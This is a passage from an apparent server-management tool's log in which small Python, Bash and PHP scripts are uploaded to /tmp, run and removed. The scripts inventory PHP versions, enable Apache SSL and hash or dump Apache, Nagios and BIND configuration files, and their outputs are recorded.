	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-04-23 10:35:48: 

chmod 755 /tmp/pkp738747; /tmp/pkp738747; rm /tmp/pkp738747

2026-04-23 10:35:49: 


[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.20


2026-04-23 10:35:49: 

PUT: /tmp/pkp914548

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-04-23 10:35:49: 

chmod 755 /tmp/pkp914548; /tmp/pkp914548; rm /tmp/pkp914548

2026-04-23 10:35:49: 
(gzipped output)




2026-04-23 10:35:49: 

PUT: /tmp/pkp915492

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		service apache2 restart
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		service apache2 restart
	fi
	echo status=ok
fi



2026-04-23 10:35:50: 

chmod 755 /tmp/pkp915492; /tmp/pkp915492; rm /tmp/pkp915492

2026-04-23 10:35:50: 


Enabling module socache_shmcb.
Enabling module ssl.
status=ok


2026-04-23 10:35:50: 

PUT: /tmp/pkp546144

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-23 10:35:51: 

chmod 755 /tmp/pkp546144; /tmp/pkp546144; rm /tmp/pkp546144

2026-04-23 10:35:51: 
2026-04-23 10:35:51: 

PUT: /tmp/pkp694963

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/apache2.conf')
    show_file('/etc/apache2/ports.conf')
    show_file('/etc/apache2/sites-available/default-ssl.conf')
    show_file('/etc/ssl/certs/ssl-cert-snakeoil.pem')
    show_file('/etc/apache2/sites-available/000-default.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-23 10:35:51: 

chmod 755 /tmp/pkp694963; /tmp/pkp694963; rm /tmp/pkp694963

2026-04-23 10:35:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/apache2.conf	7178
# This is the main Apache server configuration file.  It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
# default Apache2 installation attempts to make adding and removing modules,
# virtual hosts, and extra configuration directives as flexible as possible, in
# order to make automating the changes and administering the server as easy as
# possible.

# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
#	/etc/apache2/
#	|-- apache2.conf
#	|	`--  ports.conf
#	|-- mods-enabled
#	|	|-- *.load
#	|	`-- *.conf
#	|-- conf-enabled
#	|	`-- *.conf
# 	`-- sites-enabled
#	 	`-- *.conf
#
#
# * apache2.conf is the main configuration file (this file). It puts the pieces
#   together by including all remaining configuration files when starting up the
#   web server.
#
# * ports.conf is always included from the main configuration file. It is
#   supposed to determine listening ports for incoming connections which can be
#   customized anytime.
#
# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
#   directories contain particular configuration snippets which manage modules,
#   global configuration fragments, or virtual host configurations,
#   respectively.
#
#   They are activated by symlinking available configuration files from their
#   respective *-available/ counterparts. These should be managed by using our
#   helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
#   their respective man pages for detailed information.
#
# * The binary is called apache2. Due to the use of environment variables, in
#   the default configuration, apache2 needs to be started/stopped with
#   /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
#   work with the default configuration.


# Global configuration
#

#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE!  If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the Mutex documentation (available
# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
#ServerRoot "/etc/apache2"

#
# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
#
#Mutex file:${APACHE_LOCK_DIR} default

#
# The directory where shm and other runtime files will be stored.
#

DefaultRuntimeDir ${APACHE_RUN_DIR}

#
# PidFile: The file in which the server should record its process
# identification number when it starts.
# This needs to be set in /etc/apache2/envvars
#
PidFile ${APACHE_PID_FILE}

#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300

#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On

#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100

#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 5


# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}

#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
HostnameLookups Off

# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here.  If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog ${APACHE_LOG_DIR}/error.log

#
# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the log level for particular modules, e.g.
# "LogLevel info ssl:warn"
#
LogLevel warn

# Include module configuration:
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf

# Include list of ports to listen on
Include ports.conf


# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
	Options FollowSymLinks
	AllowOverride None
	Require all denied
</Directory>

<Directory /usr/share>
	AllowOverride None
	Require all granted
</Directory>

<Directory /var/www/>
	Options Indexes FollowSymLinks
	AllowOverride None
	Require all granted
</Directory>

#<Directory /srv/>
#	Options Indexes FollowSymLinks
#	AllowOverride None
#	Require all granted
#</Directory>




# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives.  See also the AllowOverride
# directive.
#
AccessFileName .htaccess

#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
	Require all denied
</FilesMatch>


#
# The following directives define some format nicknames for use with
# a CustomLog directive.
#
# These deviate from the Common Log Format definitions in that they use %O
# (the actual bytes sent including headers) instead of %b (the size of the
# requested file), because the latter makes it impossible to detect partial
# requests.
#
# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
# Use mod_remoteip instead.
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent

# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.

# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf

# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/ports.conf	274
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf

Listen 80

<IfModule ssl_module>
	Listen 443
</IfModule>

<IfModule mod_gnutls.c>
	Listen 443
</IfModule>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/default-ssl.conf	4573
<VirtualHost *:443>
	ServerAdmin webmaster@localhost

	DocumentRoot /var/www/html

	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf

	#   SSL Engine Switch:
	#   Enable/Disable SSL for this virtual host.
	SSLEngine on

	#   A self-signed (snakeoil) certificate can be created by installing
	#   the ssl-cert package. See
	#   /usr/share/doc/apache2/README.Debian.gz for more info.
	#   If both key and certificate are stored in the same file, only the
	#   SSLCertificateFile directive is needed.
	SSLCertificateFile      /etc/ssl/certs/ssl-cert-snakeoil.pem
	SSLCertificateKeyFile   /etc/ssl/private/ssl-cert-snakeoil.key

	#   Server Certificate Chain:
	#   Point SSLCertificateChainFile at a file containing the
	#   concatenation of PEM encoded CA certificates which form the
	#   certificate chain for the server certificate. Alternatively
	#   the referenced file can be the same as SSLCertificateFile
	#   when the CA certificates are directly appended to the server
	#   certificate for convinience.
	#SSLCertificateChainFile /etc/apache2/ssl.crt/server-ca.crt

	#   Certificate Authority (CA):
	#   Set the CA certificate verification path where to find CA
	#   certificates for client authentication or alternatively one
	#   huge file containing all of them (file must be PEM encoded)
	#   Note: Inside SSLCACertificatePath you need hash symlinks
	#         to point to the certificate files. Use the provided
	#         Makefile to update the hash symlinks after changes.
	#SSLCACertificatePath /etc/ssl/certs/
	#SSLCACertificateFile /etc/apache2/ssl.crt/ca-bundle.crt

	#   Certificate Revocation Lists (CRL):
	#   Set the CA revocation path where to find CA CRLs for client
	#   authentication or alternatively one huge file containing all
	#   of them (file must be PEM encoded)
	#   Note: Inside SSLCARevocationPath you need hash symlinks
	#         to point to the certificate files. Use the provided
	#         Makefile to update the hash symlinks after changes.
	#SSLCARevocationPath /etc/apache2/ssl.crl/
	#SSLCARevocationFile /etc/apache2/ssl.crl/ca-bundle.crl

	#   Client Authentication (Type):
	#   Client certificate verification type and depth.  Types are
	#   none, optional, require and optional_no_ca.  Depth is a
	#   number which specifies how deeply to verify the certificate
	#   issuer chain before deciding the certificate is not valid.
	#SSLVerifyClient require
	#SSLVerifyDepth  10

	#   SSL Engine Options:
	#   Set various options for the SSL engine.
	#   o FakeBasicAuth:
	#    Translate the client X.509 into a Basic Authorisation.  This means that
	#    the standard Auth/DBMAuth methods can be used for access control.  The
	#    user name is the `one line' version of the client's X.509 certificate.
	#    Note that no password is obtained from the user. Every entry in the user
	#    file needs this password: `xxj31ZMTZzkVA'.
	#   o ExportCertData:
	#    This exports two additional environment variables: SSL_CLIENT_CERT and
	#    SSL_SERVER_CERT. These contain the PEM-encoded certificates of the
	#    server (always existing) and the client (only existing when client
	#    authentication is used). This can be used to import the certificates
	#    into CGI scripts.
	#   o StdEnvVars:
	#    This exports the standard SSL/TLS related `SSL_*' environment variables.
	#    Per default this exportation is switched off for performance reasons,
	#    because the extraction step is an expensive operation and is usually
	#    useless for serving static content. So one usually enables the
	#    exportation for CGI and SSI requests only.
	#   o OptRenegotiate:
	#    This enables optimized SSL connection renegotiation handling when SSL
	#    directives are used in per-directory context.
	#SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire
	<FilesMatch "\.(?:cgi|shtml|phtml|php)$">
		SSLOptions +StdEnvVars
	</FilesMatch>
	<Directory /usr/lib/cgi-bin>
		SSLOptions +StdEnvVars
	</Directory>
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ssl-cert-snakeoil.pem	1082
-----BEGIN CERTIFICATE-----
MIIC8jCCAdqgAwIBAgIUSr77ZYw0gkt6MrQBCqNPHJX/R8EwDQYJKoZIhvcNAQEL
BQAwEjEQMA4GA1UEAwwHbWluaW1hYzAeFw0yNjA0MjMwMDUzMjRaFw0zNjA0MjAw
MDUzMjRaMBIxEDAOBgNVBAMMB21pbmltYWMwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDJRLqOY1qiSFvd874lS/gYJlPsHQB0z+Owf9Mq4OI08bQ4VWjd
l9ZztsxhN8klcKB6ogIxxafaCEBnXwsEiHbMLjDYhrBGr3y6EaSP2ws9ksiVvNw9
MXobFXx+vSnZkp9U2K+YrSlANR6UWHyzEXznd/ygzQVKWH5WJkCeyZ1tQzqnt376
z4xCXOMYa9xgzQHMQL3Mvz2r3kITKaS2VFLJkIIhwzmIMSft3hBHq0DeQ5/48HBS
muUn+nn3/K2H1Cw0T3nPYlZWyEF7sFyif60vH+cr4Eqb310n/kKu7Ng1a9vimCbC
/dw7rZaxqbrdjcKJ9zGezmvNtCF/154a7qt9AgMBAAGjQDA+MAkGA1UdEwQCMAAw
EgYDVR0RBAswCYIHbWluaW1hYzAdBgNVHQ4EFgQUg7UJa7CePcOWFTCfHPGm0Wiu
lZ8wDQYJKoZIhvcNAQELBQADggEBAJ5C54z9pDp9NlzxTKObIj0M+BAdhyrVFWja
ZmdKN7v3eXpVGEQP3xD/Kl2ytEYa6H6icM9o3qhE/c+CAnbsVUaUJMvDHJDOW2Ja
/CIiieHiYE48GoEaSfahKsk3TJ2rWPqQ8kVfhc7qP80y4e5DV+XlulERcbzw6M7J
7OFN6V/+V9cflRGyhfycqrJLBhHII86Z3qxoiCwlA71RexOjNJttyjqnKoOIxjHD
oD4iUANBZ33wmsqQcJyCVOVFgwIv0lAHEuqZbAv8QZw+B9l3vGqh15OI0JxzQ8yu
qpms7dxmktYyKJlCuW91H3k6kTDn4O+YxqRKwMMHXgbLa4/ROrE=
-----END CERTIFICATE-----


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/000-default.conf	1286
<VirtualHost *:80>
	# The ServerName directive sets the request scheme, hostname and port that
	# the server uses to identify itself. This is used when creating
	# redirection URLs. In the context of virtual hosts, the ServerName
	# specifies what hostname must appear in the request's Host: header to
	# match this virtual host. For the default virtual host (this file) this
	# value is not decisive as it is used as a last resort host regardless.
	# However, you must set it for any further virtual host explicitly.
	#ServerName www.example.com

	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html

	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf
</VirtualHost>




(gzipped output)


MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 58127f4ec01cb7ad517022475149d9d6
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf




STDERR:
/tmp/pkp546144:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-04-23 11:18:44: Establishing a connection
2026-04-23 11:18:44: 

PUT: /tmp/pkp553144

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 11:18:45: 

runuser -l bind -s /bin/bash -c '/tmp/pkp553144; rm /tmp/pkp553144'

2026-04-23 11:18:45: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
